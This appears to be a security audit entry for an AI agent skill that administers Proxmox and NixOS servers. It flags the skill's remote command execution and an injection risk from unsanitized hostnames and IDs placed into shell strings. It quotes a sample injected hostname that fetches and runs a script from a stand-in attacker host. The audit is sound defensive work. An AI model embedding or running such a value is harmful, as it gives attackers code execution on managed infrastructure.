The Agent Skills Directory

COMMAND_EXECUTION (MEDIUM): The skill is designed to perform administrative actions on remote infrastructure, which involves high-risk operations.
It utilizes ssh to execute commands on Proxmox hosts, such as pct start, pct stop, and pct exec for container management.
It uses colmena for system-wide NixOS deployments, which can modify server configurations and services.
Access to systemctl and journalctl allows for service state manipulation and log retrieval across the cluster.
PROMPT_INJECTION (LOW): The skill is vulnerable to indirect prompt injection (Category 8) due to the way it constructs shell commands from variables.
Ingestion points: The skill relies on user-provided values for <hostname>, <vmid>, <proxmox-host>, and <service> as seen in SKILL.md and references/host-mapping.md.
Boundary markers: There are no explicit boundary markers or instructions to the agent to sanitize these inputs before embedding them into shell strings.
Capability inventory: The skill possesses extensive capabilities including remote command execution (ssh), container orchestration (pct), and deployment tooling (colmena).
Sanitization: No sanitization or validation logic is documented. An attacker could potentially provide a malicious hostname (e.g., "host; curl attacker.com/script | bash") to trigger unintended command execution.

infrastructure